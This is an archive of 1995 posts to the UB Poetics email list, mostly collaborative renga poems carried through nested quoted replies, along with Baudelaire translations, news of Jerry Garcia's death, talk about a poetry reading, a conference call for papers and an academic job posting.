Oh thank God, I'm heading off to Mexico after Christmas. I should be able to get it in duty free by using the Canadian Council Against Renga as a cover and claiming the cure as a cultural aid. If anyone wants I'll smuggle some of this miracle cure into Canada amd then sell it in US markets. I should make a killing off the exchange rates. I'm taking orders starting immediately. Finally a way to easy our suffering, if only I could leave now.

Lindz

↑ Index

305. **Sheila E. Murphy**

Re: Renga3?

Wed 9 Aug 1995

>[B[B>
>> > >In the books were dreams and in the dreams were books.
>> > >And flew through windows, lightning green and fine morning
>> > >would calmness be without the stain of possession and
>> > >The book and the oboe on the grass under sun and cloud
>> > >Go endlessly, an obtuse Prussian blue, it binds
>> > >The caravan of windows to what they flee
>> > >These lace curtains, more gauze than bondage, more
>> > >Mollycoddled than aware, thin-spined and pebbling
>> > >but narrow in the waist or waspish Sunday years ago
>> > >Over coffee topped with whipped cream, the Times blowing
>> > >& opining, heavy humid air, cumulus amusing against the
>> > >bleached ribcage ripcorded into compassed wind
>> > >kissing the weatherwoman between her breasts as she
>> > >gives gracious problem: fanatical snacks, landscape of
>> > >flicka my best friend and the storm in the glass of water's
>> > >halfway pertinent incision we keep making safe for ignorance
(inspection
>> > >prickling with tenors, saving arrogance for free choice, long division
>> > >with its equally long aftertaste, or did its overtone
>> > collapse a wild sugar ago the fleet of cabernet oblivions for
>> > outrage. Marketing posture allowed gravel a way home
>> My dream a drink w/ Douglas Coupland. We discuss
>> "The Code of the Net"
>>Snared in proselike flackjacket fashionwear, pockets of
> reverberating syllables
slammed into prose banks wheezing at the cattle calls that strangle

↑ Index

306. Sheila E. Murphy
Re: Renga 1
Wed 9 Aug 1995

>On Tue, 8 Aug 1995, Gabrielle Welford wrote:
>
>> On Sun, 6 Aug 1995, Sheila E. Murphy wrote:
>>
>> > >> >> > > > In the books were dreams and in the dreams were books.
>> > >> >> > > >> And flew through windows, lightning green and fine morning
>> > >> >> > > >> First inverted whistle of a cardinal in the poplar
>> > >> >> > > >> The book and the oboe on the grass under sun and cloud
>> > >> >> > > >> Go endlessly, an obtuse Prussian blue, it binds
>> > >> >> > > >> The caravan of windows to what they flee
>> > >> >> > > >> These lace curtains, more gauze than bondage, more
>> > >> >> > > >> Mollycoddled than aware, thin-spined and pebbling
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>> > >> >> > > >> Over coffee topped with whipped cream, the Times blowing
>> > >> >> > > > & opining, heavy humid air, cumulus amusing against the
>> > >> >> > > bleached ribcage ripcorded into compassed wind
>> > >> >> > kissing the weatherwoman between her breasts as she
>> > >> >> gives gracious problem: fanatical snacks, landscape of
>> > >> >> flicka my best friend and the storm in the glass of water's
>> > >> halfway pertinent incision we keep making safe for ignorance (inspection
>> > >> denied for not knowing how credenza was meant) & neo-colonizing
>> > pockets in small furniture intended house sequentially several
>> > mountains away but it wasn't, you know, a big tango-
> izing of experience but landscape generosity and wetware chastity
that meshes the way cloth blooms in our wind sock

↑ Index

307. Sheila E. Murphy
Re: eR 1
Wed 9 Aug 1995

>On Tue, 8 Aug 1995, Gabrielle Welford wrote:
>
>> On Sun, 6 Aug 1995, Sheila E. Murphy wrote:

>>
>> > >On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
>> > >
>> > >> >On Thu, 3 Aug 1995, Thomas Bell wrote:
>> > >> >
>> > >> >> On Aug 3 Hank Lazer wrote:
>> > >> >>
>> > >> >> On Aug 3 Marissa Januzzi wrote:
>> > >> >>
>> > >> >> > On Thu, 3 Aug 1995, Jorge Guitart wrote:
>> > >> >> >
>> > >> >> > > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
>> > >> >> > >
>> > >> >> > > > >adding to Ron Silliman's addition --
>> > >> >> > > > >
>> > >> >> > > > >   In the books were dreams and in the dreams were books.
>> > >> >> > > > >> And flew through windows, lightning green and fine morning
>> > >> >> > > > >> First inverted whistle of a cardinal in the poplar
>> > >> >> > > > >> The book and the oboe on the grass under sun and cloud
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>> > >> >> > > > >> Over coffee topped with whipped cream, the Times blowing
>> > >> >> > > > > & opining, heavy humid air, cumulus amusing against the
>> > >> >> > > >   bleached ribcage ripcorded into compassed wind
>> > >> >> > >   kissing the weatherwoman between her breasts as she
>> > >> >> >   gives gracious problem: fanatical snacks, landscape of
>> > >> >> ><<   lunar dust, the misdirected modules returning to the
>> > >> >>   morning
>> > >> >>   from the books out of the dreams away from the lonesome
>> > >> >>   wail of the glob that cradles in its claws The Anthology
>> > >> >>   of retrospective prescience sanded down to mean the elbows
>> > cleanly
>> > >>   fit to be you or the phantasm that space foreclosed when the

>> > first sentence spilled from heaven wheat of some kind blistered and untuned
>> > by the harpie of space here for add in whatever you choose or not
> but don't single out the dog waiting to happen and the free mildew
lights behind the cabbage, Pringles, and southerly winds exchanged for francs

↑ Index

308. I.LIGHTMAN
Baudelaire
Wed 9 Aug 1995

Here, as promised, are some versions of the same Baudelaire poem from the book, _Spleen_, by Nicholas Moore, reprinted, Menard Press, 1990, available from Peter Riley Books, 27 Sturton Street, Cambridge CB1 1QQ, United Kingdom;

SPLEEN

Je suis comme le roi d'un pays pluvieux,
Riche, mais impuissant, jeune et pourtant tres-vieux,
Qui, de ses precepteurs meprisant les courbettes,
S'ennuie avec ses chiens comme avec d'autres betes.
Rien ne peut l'egayer, ni gibier, ni faucon,
Ni son peuple mourant en face du balcon.
Du bouffon favori la grotesque ballade
Ne distrait plus le front de ce cruel malade;
Son lit fleurdelise se transforme en tombeau,
Et les dames d'atour, pour qui tout prince est beau,
Ne savent plus trouver d'impudique toilette
Pour tirer un souris de ce jeune squelette.
Le savant qui lui fait de l'or n'a jamais pu
De son etre extirper l'element corrumpu,
Et dans ces bains de sang qui des Romains nous viennent,
Et donc sur leurs vieux jours les puissants se souviennent,
Il n'a su rechauffer ce cadavre hebete
Ou coule lieu de sang l'eau verte du Lethe.

LE ROY DELYCIEUX DE L'ICI

I am like the T.S. Eliot of new wastelands;
Fertile, but powerless; young, but with tied hands;
Despising pettiness in those who teach me.
Bored with this rat race, poodle-love can't reach me,
Pussies don't make me feel good, nor dumb birds;
Nor dying poets begging *me* for words.

Bob Dylan's witty, but grotesque new songs
Can't tear me from the sick thought of *my* wrongs....

Nicholas Moore

A BAD DREAM RECURRING

As the Ruler of a storm-flooded country, I
Am rich, but powerless, young, but terribly
Ancient, and all my ministers' sycophancy
Doesn't make up for my boredom with the beastly...

...Nor would pogroms - however Stalinesque -
Raise any new life that's not quite grotesque
Or warm the cockles of a skeletal
Heart - pumping water green as fear, and lethal.

"Ion Lomas-Roche"

DREAMSCAPE

I stand, a too-old king
In a too rainy country, curbed
By distrust of too-plausible advisers.

Dogs,
Other faceless animals,
Small birds, hawks
- but I'm bored;
A whole race fails beneath my balcony.
The Beatles, dressed like grubs,
Sing mournfully "Hey, Jude",
But I - I cannot laugh.
I suffer from the same malaise myself.

My bed is a mound of flowers,
Lily, iris;
The flower girls offer me charms
And suddenly strip -
Beautiful, clean young bodies.

But this mound is a tomb
For this dried-up young mummy.
The gesturing girls can't raise a smile

From the dead.

"Nichos Omolares"

RAT-KING

....Not all the lynchings of the Ku Klux Klan
Can make me sure I am the man I am.
I seem a marionette strung up on death,
While straggling Lethe greenly twists beneath.

"H.R. Fixon-Boumphrey"

PEPE-LE-MOKO AU MONTRACHET-LE-JARDIN

Beau Roi of Serpentines in thunderous mish-mash!
Golden glissadings, O empty effendi of air,
The tutors' fulgurations, fine flickerings of frenzy, leave
You like a Dodo in the abattoirs....

"P.L. Moko-Destaches"

etc
etc etc
etc etc etc

Sorry I've only time to excerpt from these translations, mostly from the start or end....

Here is my own translation of Baudelaire's Madrigal Triste:

THE ORCHESTRATION OF UNHAPPINESS

- after Baudelaire

You're disciplined. So?
Get lusty, get lost. Desperation
is flow,
banked soil sails where the rivers go.
Get acceleration.

Lord! When emotion rejoices,
dissolving the edifice above it,
and your heart is where the horror of choice
is, when you're alive in the present, to hear the shut-out voices
of yesterday threaten full-throttle - God, how I love it!

I *love* it, when your eyes brim
and babble with weeping;
when, spurning my prim
reflex to soothe you, you let yourself swim
in the depth of it, and go out of my keeping.

I drink,
o deep, delicious, voluptuous one,
from this spring at the brink

of your body. I drink
as the knot is undone.

IRA LIGHTMAN

Anyone interested in the idea of Baudelaire's *style* get into Yeats? I've just been reading Sarah Law's Baudelaire-style poem, Savage Nights, in the Cambridge magazine, _Involution ii_, and it reminded me of Yeats.

Anyway, hope this offers some starting points for Baudelaire talk...

Ira

↑ Index

309. **Rod Smith**
Re: JG
Wed 9 Aug 1995

I've just heard that Jerry Garcia died this morning. Thought some folks out there might like to know.
--Rod

↑ Index

310. **Louis Cabri**
Re: Renga3? II
Wed 9 Aug 1995

> [B[B>
> > > >In the books were dreams and in the dreams were books.
> > > >And flew through windows, lightning green and fine morning
> > > >would calmness be without the stain of possession and
> > > >The book and the oboe on the grass under sun and cloud
> > > >Go endlessly, an obtuse Prussian blue, it binds
> > > >The caravan of windows to what they flee
> > > >These lace curtains, more gauze than bondage, more
> > > >Mollycoddled than aware, thin-spined and pebbling
> > > >but narrow in the waist or waspish Sunday years ago
> > > >Over coffee topped with whipped cream, the Times blowing
> > > >& opining, heavy humid air, cumulus amusing against the
> > > >bleached ribcage ripcorded into compassed wind
> > > >kissing the weatherwoman between her breasts as she
> > > >gives gracious problem: fanatical snacks, landscape of
> > > >flicka my best friend and the storm in the glass of water's
> > > >halfway pertinent incision we keep making safe for ignorance
(inspection

> > > >prickling with tenors, saving arrogance for free choice, long division
> > > >with its equally long aftertaste, or did its overtone
> > > collapse a wild sugar ago the fleet of cabernet oblivions for
> > > outrage. Marketing posture allowed gravel a way home
> > My dream a drink w/ Douglas Coupland. We discuss
> > "The Code of the Net"
> >Emerging just as prose dialogue declines within the
ascendant moment of radical political conserva-
tivisms: ironic poetic thesis, useful for

↑ Index

311. Alan Golding
Mitchellmania, Harpermania
Wed 9 Aug 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Maria: Kevin Mitchell's an overweight, overpaid, injury-prone, underachieving, peripatetic outfielder with the Reds, the Giants, a Japanese team, and God knows who else before or since. Sorta like Ron.

Ryan: Some of Michael Harper's books that I have here are History is Your Own Heartbeat (1971), Nightmare Begins Responsibility (1975), Images of Kin (1977), Healing Song for the Inner Ear (1985). I don't know what he's done since the mid-eighties. Like many other writers, he has a number of Coltrane poems, and perhaps his best-known (or most anthologized) poem is "Dear John, Dear Coltrane. " I taught this at the U of Mississippi years back and played "A Love Supreme," off which the poem riffs, but the effort met with a resounding "Huh?" (Actually, Trane met with the resounding "Huh?" and Harper merely with a lower-case "huh.") Would like to know what you thought of his reading, since I've never heard him. We've thought of him at various times as a possible reader at the Twentieth-Century Lit. Conference here.

I'm trying to think of a crack about derengalation to end this with, but can't.
Oh well.

Alan

↑ Index

312. **Jorge Guitart**
Re: Renga 1
Wed 9 Aug 1995

On Tue, 8 Aug 1995, Charles Alexander wrote:

> On Tue, 8 Aug 1995, Charles Alexander wrote:
>
> On Tue, 8 Aug 1995 23:26:11 -0400,
> Jorge Guitart <[redacted]> wrote:
>
> >On Tue, 8 Aug 1995, Gabrielle Welford wrote:
> >
> >> On Sun, 6 Aug 1995, Jorge Guitart wrote:
> >>
> >> > On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
> >> >
> >> > > >> > > >   In the books were dreams and in the dreams were books.
> >> > > >> > > >> And flew through windows, lightning green and fine morning
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> >> > > >> > >   bleached ribcage ripcorded into compassed wind
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> >> > > > halfway pertinent incision we keep making safe for ignorance (inspection
> >> > > > denied for not knowing how credenza was meant) & neo-colonizing
> >> > >   who do you think is at the end of this shaft if it isn't
> >   the distal nude and the proximal guano but you and I were about to
> >   tango in a thunderstorm, lightning be damned, forget my skin, ask
    not the neutered angel pushing romantic coating, but ask

↑ Index

313. Alan Golding
Twentieth-Century Literature Conference
Wed 9 Aug 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Dear List:

Since I've mentioned the Conference in passing in another post today, might as well do my annual schtick. So:

The call for papers and for poetry and fiction submissions is now out for the U. of Louisville's annual Twentieth-Century Literature Conference, to be held Feb. 22-24, 1996. Deadline for submissions is an Oct. 2 postmark. Keynote speakers are not yet set, but I'll post that information when they are. For further info., including a hard copy of the conference flier with lots more detail, e-mail the Conference director, Harriette Seiler, at [redacted].

A lot of people on the Poetics list came last year, which meant that *I* had a good time, and I think they did too.

PS: Harriette Seiler's away for a week or two, so don't be concerned if you don't get a response right away.

↑ Index

314. Alan Sondheim
Re: Renga3? II
Wed 9 Aug 1995

On Wed, 9 Aug 1995, Louis Cabri wrote:

> > >Emerging just as prose dialogue declines within the
> ascendant moment of radical political conserva-
> tivisms: ironic poetic thesis, useful for
Thinking about Jerry Garcia, thinking about little murders,
thinking about the good die young, thinking about Janis Joplin,
thinking about nothing left to lose, thinking about Abbie Hoffman,
thinking about insurrection, thinking about flowers,
thinking about flowers, thinking about insurrection

↑ Index

315. Ryan Knighton
Re: Dear Alan, Dear Harper
Wed 9 Aug 1995

Alan,

Thanks for the titles. I heard harper read "Nightmare Begins Responsibility" and I think three or four more poems in the "Language of Life" series currently running on PBS this side of the medicine line. I think slick is the best word. He was reading with a jazz trio, very beat, but reminded me in his language and style of Amiri Baraka, AM/TRAK and thereabouts. What amazed me is his sense of performance vs. reading, demonstrated best by his interpretations of some inner-city poets' works. After him came Adrienne Rich and it was night and day, for me. Rhythm seems to be an extension of content and in some cases content itself.

Oh yeah, renga.

Ryan Knighton
Unprofessor of Literature
Frozen Frazer University

↑ Index

316. Alan Sondheim
JG others and us
Wed 9 Aug 1995

Only the Good Die Young

You know where this is going but I don't. Anyone who went through the 60s, rubbed themselves raw in the middle to late 60s and early 70s, against the right in America that's now breathing down our necks with the fury of missed and regulated life - anyone who went through them caught in the war of the peace - has been traumatized, amputated, has learned to bury well, never say "far out" again because it's all reigned in, has learned to walk the walk, talk the talk -

Has learned to bury early on Janis and Jimmy and John and John and Al and Robert and Abbie and Martin and Marvin and those who burned bright for a second, just when we were beginning to learn to fuck them, open our bodies, insurrections of the flesh -

How did Jerry survive so long, get away with it, these little murders splitting out bodies open - we weren't taught that life was one long series of deaths, only that death was there on the horizon, present yes, but not these little murders -

We're fucking survivors, the Net's a commune, the last Free Press, we're on the edge, waiting for insurrection, of the other, of ourselves, splin- tered on the bones of a country we barely recognize -

Cause otherwise we're all sleep for the slaughter - little murders on down the line - take us -

'She wander'd in the lad of clouds thro' valleys dark, list'ning Dolours & lamentations; waiting oft beside a dewy grave She stood in silence, list'ning to the voices of the ground, Till to her own grave plot she came, & there she sat down, And heard this voice of sorrow breathed from the hollow pit.

'"Why cannot the Ear be closed to its own destruction?
"Or the glist'ning Eye to the poison of a smile?
"Why are Eyelids stor'd with arrows ready drawn,
"Where a thousand fighting men in ambush lie?
"Or an Eye of gifts & graces show'ring fruits & coined gold?
"Why a Tongue impress'd with honey from every wind?
"Why an Ear, a whirlpool fierce to draw creations in?
"Why a Nostril wide inhaling terror, trembling, & affright?
"Why a tender curb upon the youthful burning boy?
"Why a little curtain of flesh on the bed of our desire?"'

(Blake, The Book of Thel)

Alan

↑ Index

317. maria damon

Re: JG

Wed 9 Aug 1995

In message <[redacted]> UB Poetics discussion group writes:
> I've just heard that Jerry Garcia died this morning. Thought some folks out
> there might like to know.
> --Rod

yes, i'm stunned and, strange to say, can't find any twin cities radio stations playing all day Dead. my albums were stolen years ago.--md

↑ Index

318. **maria damon**
Re: Dear Alan, Dear Harper
Wed 9 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Alan,
>
> Thanks for the titles. I heard harper read "Nightmare Begins
> Responsibility" and I think three or four more poems in the
> "Language of Life" series currently running on PBS this side of
> the medicine line. I think slick is the best word. He
> was reading with a jazz trio, very beat, but reminded me in
> his language and style of Amiri Baraka, AM/TRAK and thereabouts.
> What amazed me is his sense of performance vs. reading, demonstrated
> best by his interpretations of some inner-city poets' works. After him
> came Adrienne Rich and it was night and day, for me. Rhythm seems
> to be an extension of content and in some cases content itself.
>
> Oh yeah, renga.
>
> Ryan Knighton
> Unprofessor of Literature
> Frozen Frazer University

dear alan, dear ryan, i heard harper read a few years ago and his renditions of etheridge knight's poetry were much more powerful than his readings of his own material. he read some really boring recent stuff of his, stuff like, for richard wilbur on his xxth birthday, "i gave you a bottle of scotch," etc. Only on request did he read the older, far more powerful "Dear John" and the one for Bessie Smith? "this is our last affair"(?) gorgeous. but what he's doing now...uninspired, as far as i could tell. i don't know if he was doing that on purpose because of the incredible conservatism of my department, who hosted the reading (helP! get me out of here!) or if that's how it is these days in general. also he recently edited a book of AF-Am poetry called Every Shut Eye Ain't Asleep, in which he omitted Bob Kaufman and others with an eye toward "quality." oh well. he has been very good to some younger writers, including novelist Gayl Jones, who's a knockout.

↑ Index

319. **maria damon**
Re: coupla job postings!!!!
Wed 9 Aug 1995

please, everyone, spread the word so we can have some hip applicants for this position --typical of my institution to allow two weeks for a search! apply, all ye brit poetry folks and post colonialists, and/or forward to appropriate lists as you see fit!--md

Two Full-Time Temporary Teaching Positions
1995-96
Department of English
University of Minnesota

The Department of English at the University of Minnesota has openings for two positions for 1995-96. Both positions are one year (September 16, 1995 through June 15, 1996), 100 percent time, non-tenured, temporary appointments. Minimum qualifications for these positions are a Ph.D. in English or related field, some teaching experience, and expertise in the fields as specified below. Preferred candidates will also have demonstrated excellence in teaching and research and have a record of publication. The teaching load will be six courses (two each quarter) which will include undergraduate, upper-division undergraduate, and graduate level courses. Depending on credentials, appointments will be made at the Lecturer, Visiting Assistant Professor or Visiting Associate Professor level. Salary is $35,000 and non-negotiable for both positions.

Position 1: Twentieth-Century British Literature
Candidates must have specific expertise in Twentieth-century British poetry and a broad familiarity with Twentieth-century British literature generally.

Position 2: Specialist in Postcolonial literatures in English and Postcolonial Theory. Candidates must have expertise in a specific area of postcolonial literature in English as well as broad familiarity with postcolonial literatures and theory generally.

Applicants should send letter of application, curriculum vitae, and three letters of reference to:

Professor Marty Roth
Department of English
University of Minnesota
207 Lind Hall
207 Church Street SE
Minneapolis, MN 55455-0134.

Applications must be postmarked by August 23, 1995.

****

The University of Minnesota is committed to the policy that all persons shall have equal access to its programs, facilities, and employment without regard to race, color, creed, religion, national origin, sex, age, marital status, disability, public assistance status, veteran status, or sexual orientation.

****

Laureen Larson
Principal Secretary
Department of English
207 Lind
207 Church Street SE
Minneapolis MN 55455
[redacted]
[redacted] FAX
****

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320. **maria damon**

Re: Twentieth-Century Literature Conference

Wed 9 Aug 1995

---

alan g writes:
>
> Dear List:
>
> Since I've mentioned the Conference in passing in another post today, might
> as
> well do my annual schtick. So:
>
>
> A lot of people on the Poetics list came last year, which meant that *I* had
> a good time, and I think they did too.
>
yes indeed, i can attest to that. it was my first time at the conference, and found people gracious, kind, friendly and fun to hang out with. it has been one of my most "meaningful" conferences.--md

↑ Index

321. maria damon
Re: Renga3? II
Wed 9 Aug 1995

In message <[redacted]> UB
Poetics discussion group writes:
> On Wed, 9 Aug 1995, Louis Cabri wrote:
>
> > > >Emerging just as prose dialogue declines within the
> > ascendant moment of radical political conserva-
> > tivisms: ironic poetic thesis, useful for
> Thinking about Jerry Garcia, thinking about little murders,
> thinking about the good die young, thinking about Janis Joplin,
> thinking about nothing left to lose, thinking about Abbie Hoffman,
> thinking about insurrection, thinking about flowers,
> thinking about flowers, thinking about insurrection
and Jimi the Gem lancing his rare guitar-artiste heart for us,
thinking about Mumia still to come, and George jackson who's
smile was so loving it stopped a bullet before his time

↑ Index

322. Jorge Guitart
Re: Renga3?
Wed 9 Aug 1995

On Wed, 9 Aug 1995, Sheila E. Murphy wrote:

> >[B[B>
> >> > >In the books were dreams and in the dreams were books.
> >> > >And flew through windows, lightning green and fine morning
> >> > >would calmness be without the stain of possession and
> >> > >The book and the oboe on the grass under sun and cloud
> >> > >Go endlessly, an obtuse Prussian blue, it binds
> >> > >The caravan of windows to what they flee
> >> > >These lace curtains, more gauze than bondage, more
> >> > >Mollycoddled than aware, thin-spined and pebbling
> >> > >but narrow in the waist or waspish Sunday years ago
> >> > >Over coffee topped with whipped cream, the Times blowing
> >> > >& opining, heavy humid air, cumulus amusing against the
> >> > >bleached ribcage ripcorded into compassed wind
> >> > >kissing the weatherwoman between her breasts as she
> >> > >gives gracious problem: fanatical snacks, landscape of
> >> > >flicka my best friend and the storm in the glass of water's

> >> > >halfway pertinent incision we keep making safe for ignorance (inspection
> >> > >prickling with tenors, saving arrogance for free choice, long division
> >> > >with its equally long aftertaste, or did its overtone
> >> > collapse a wild sugar ago the fleet of cabernet oblivions for
> >> > outrage. Marketing posture allowed gravel a way home
> >> My dream a drink w/ Douglas Coupland. We discuss
> >> "The Code of the Net". Snared in proselike flackjacket fashionwear,
pockets of reverberating syllables slammed into prose banks
wheezing at the cattle calls that strangle the big boys who killed
the stony bird who cried "see you at the next aurora of autumn!"

↑ Index

323. **Jorge Guitart**
Re: ringing renga
Wed 9 Aug 1995

---

it is racist in that it presumes that mexicans lack imagination since the only thing that can stop renga is precisely the lack of imagination. i am partly mexican and, as the famous corrido says, "que siga la renga!"

Dodie Bellamy wrote

On Wed, 9 Aug 1995, Kevin Killian wrote:

> *On Aug 9 Thomas Bell wrote*
>
> *Aftrer courageous efforts by allnight workers in Mexico City*
> *a cure to the renbga virus was found, saving millions of users*
> *worldwide . The source was discovered and it can be removed!*
> *Contact* [redacted] *for a visusrenag remover - 77 Mexican dollars*
>
> *I don't want to sound like the pc-police here, but does this sound a bit*
> *racist to anyone else?*
>
> *Dodie Bellamy*

↑ Index

324. **Sheila E. Murphy**
Re: Renga 1
Wed 9 Aug 1995

>On Tue, 8 Aug 1995, Charles Alexander wrote:
>
>On Tue, 8 Aug 1995 23:26:11 -0400,

>Jorge Guitart <[redacted]> wrote:
>
>>On Tue, 8 Aug 1995, Gabrielle Welford wrote:
>>
>>> On Sun, 6 Aug 1995, Jorge Guitart wrote:
>>>
>>> > On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
>>> >
>>> > > >> > > > In the books were dreams and in the dreams were books.
>>> > > >> > > >> And flew through windows, lightning green and fine morning
>>> > > >> > > >> First inverted whistle of a cardinal in the poplar
>>> > > >> > > >> The book and the oboe on the grass under sun and cloud
>>> > > >> > > >> Go endlessly, an obtuse Prussian blue, it binds
>>> > > >> > > >> The caravan of windows to what they flee
>>> > > >> > > >> These lace curtains, more gauze than bondage, more
>>> > > >> > > >> Mollycoddled than aware, thin-spined and pebbling
>>> > > >> > > >> but narrow in the waist or waspish Sunday years ago
>>> > > >> > > >> Over coffee topped with whipped cream, the Times blowing
>>> > > >> > > > & opining, heavy humid air, cumulus amusing against the
>>> > > >> > > bleached ribcage ripcorded into compassed wind
>>> > > >> > kissing the weatherwoman between her breasts as she
>>> > > >> gives gracious problem: fanatical snacks, landscape of
>>> > > >> flicka my best friend and the storm in the glass of water's
>>> > > halfway pertinent incision we keep making safe for ignorance (inspection
>>> > > denied for not knowing how credenza was meant) & neo-colonizing
>>> > who do you think is at the end of this shaft if it isn't
>> the distal nude and the proximal guano but you and I were about to
>> tango in a thunderstorm, lightning be damned, forget my skin, ask pockmarks questions denuded of interrogation (points west

↑ Index

325. **Jorge Guitart**
Re: eR 1
Wed 9 Aug 1995

On Wed, 9 Aug 1995, Sheila E. Murphy wrote:

> >On Tue, 8 Aug 1995, Gabrielle Welford wrote:
> >
> >> On Sun, 6 Aug 1995, Sheila E. Murphy wrote:

> >>
> >> > >On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
> >> > >
> >> > >> >On Thu, 3 Aug 1995, Thomas Bell wrote:
> >> > >> >
> >> > >> >> On Aug 3 Hank Lazer wrote:
> >> > >> >>
> >> > >> >> On Aug 3 Marissa Januzzi wrote:
> >> > >> >>
> >> > >> >> > On Thu, 3 Aug 1995, Jorge Guitart wrote:
> >> > >> >> >
> >> > >> >> > > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
> >> > >> >> > >
> >> > >> >> > > > >adding to Ron Silliman's addition --
> >> > >> >> > > > >
> >> > >> >> > > > > In the books were dreams and in the dreams were
books.
> >> > >> >> > > > >> And flew through windows, lightning green and fine
morning
> >> > >> >> > > > >> First inverted whistle of a cardinal in the poplar
> >> > >> >> > > > >> The book and the oboe on the grass under sun and
cloud
> >> > >> >> > > > >> Go endlessly, an obtuse Prussian blue, it binds
> >> > >> >> > > > >> The caravan of windows to what they flee
> >> > >> >> > > > >> These lace curtains, more gauze than bondage, more
> >> > >> >> > > > >> Mollycoddled than aware, thin-spined and pebbling
> >> > >> >> > > > >> but narrow in the waist or waspish Sunday years ago
> >> > >> >> > > > >> Over coffee topped with whipped cream, the Times
blowing
> >> > >> >> > > > > & opining, heavy humid air, cumulus amusing against
the
> >> > >> >> > > > bleached ribcage ripcorded into compassed wind
> >> > >> >> > > kissing the weatherwoman between her breasts as she
> >> > >> >> > gives gracious problem: fanatical snacks, landscape of
> >> > >> >> ><< lunar dust, the misdirected modules returning to the
> >> > >> >> morning
> >> > >> >> from the books out of the dreams away from the lonesome
> >> > >> >> wail of the glob that cradles in its claws The Anthology
> >> > >> >> of retrospective prescience sanded down to mean the
elbows
> >> > > cleanly
> >> > >> >> fit to be you or the phantasm that space foreclosed when

the
> >> > first sentence spilled from heaven wheat of some kind blistered and untuned
> >> > by the harpie of space here for add in whatever you choose or not
> > but don't single out the dog waiting to happen and the free mildew
> lights behind the cabbage, Pringles, and southerly winds exchanged for francs
 by the `Defense de glouglouter' sign. Me, I'm just in bracket mode and

↑ Index

326. **Sheila E. Murphy**

Re: Renga 1

Wed 9 Aug 1995

>On Tue, 8 Aug 1995, Charles Alexander wrote:
>
>> On Tue, 8 Aug 1995, Charles Alexander wrote:
>>
>> On Tue, 8 Aug 1995 23:26:11 -0400,
>> Jorge Guitart <[redacted]> wrote:
>>
>> >On Tue, 8 Aug 1995, Gabrielle Welford wrote:
>> >
>> >> On Sun, 6 Aug 1995, Jorge Guitart wrote:
>> >>
>> >> > On Sat, 5 Aug 1995, Sheila E. Murphy wrote:
>> >> >
>> >> > > >> > > > In the books were dreams and in the dreams were books.
>> >> > > >> > > >> And flew through windows, lightning green and fine morning
>> >> > > >> > > >> First inverted whistle of a cardinal in the poplar
>> >> > > >> > > >> The book and the oboe on the grass under sun and cloud
>> >> > > >> > > >> Go endlessly, an obtuse Prussian blue, it binds
>> >> > > >> > > >> The caravan of windows to what they flee
>> >> > > >> > > >> These lace curtains, more gauze than bondage, more
>> >> > > >> > > >> Mollycoddled than aware, thin-spined and pebbling
>> >> > > >> > > >> but narrow in the waist or waspish Sunday years ago
>> >> > > >> > > >> Over coffee topped with whipped cream, the Times blowing
>> >> > > >> > > > & opining, heavy humid air, cumulus amusing against

the
>> >> > > >> > > bleached ribcage ripcorded into compassed wind
>> >> > > >> > kissing the weatherwoman between her breasts as she
>> >> > > >> gives gracious problem: fanatical snacks, landscape of
>> >> > > >> flicka my best friend and the storm in the glass of water's
>> >> > > halfway pertinent incision we keep making safe for ignorance
(inspectio
>n
>> >> > > denied for not knowing how credenza was meant) & neo-colonizing
>> >> > who do you think is at the end of this shaft if it isn't
>> > the distal nude and the proximal guano but you and I were about to
>> > tango in a thunderstorm, lightning be damned, forget my skin, ask
> not the neutered angel pushing romantic coating, but ask
confidence to tame itself, us, the treefrogs to the tune of watered scones

↑ Index

327. Sheila E. Murphy

Re: Renga3?

Wed 9 Aug 1995

>On Tue, 8 Aug 1995, Rod Smith wrote:
>
>> On Sun, 6 Aug 1995, Sheila E. Murphy wrote:
>> On Aug 8 G Welford wrote:
>>
>> > >In the books were dreams and in the dreams were books.
>> > >And flew through windows, lightning green and fine morning
>> > >would calmness be without the stain of possession and
>> > >The book and the oboe on the grass under sun and cloud
>> > >Go endlessly, an obtuse Prussian blue, it binds
>> > >The caravan of windows to what they flee
>> > >These lace curtains, more gauze than bondage, more
>> > >Mollycoddled than aware, thin-spined and pebbling
>> > >but narrow in the waist or waspish Sunday years ago
>> > >Over coffee topped with whipped cream, the Times blowing
>> > >& opining, heavy humid air, cumulus amusing against the
>> > >bleached ribcage ripcorded into compassed wind
>> > >kissing the weatherwoman between her breasts as she
>> > >gives gracious problem: fanatical snacks, landscape of
>> > >flicka my best friend and the storm in the glass of water's
>> > >halfway pertinent incision we keep making safe for ignorance
(inspection

>> > >prickling with tenors, saving arrogance for free choice, long division
>> > >with its equally long aftertaste, or did its overtone
>> > collapse a wild sugar ago the fleet of cabernet oblivions for
>> > outrage. Marketing posture allowed gravel a way home
>> My dream a drink w/ Douglas Coupland. We discuss "The Code of the Net"
> and he is transparent like Victor the Vector getting home
brew safely to the lips pornographied like pressure in the tongue

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328. Jordan Davis.
jesus christ was born today
Wed 9 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
who do you think is at the end of this shaft if it isn't
the distal nude and the proximal guano but you and I were about to
tango in a thunderstorm, lightning be damned, forget my skin, ask
me and I'll walk quietly up fifth to the mid manhattan branch

↑ Index

329. Jordan Davis.
fear of god
Wed 9 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning

First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
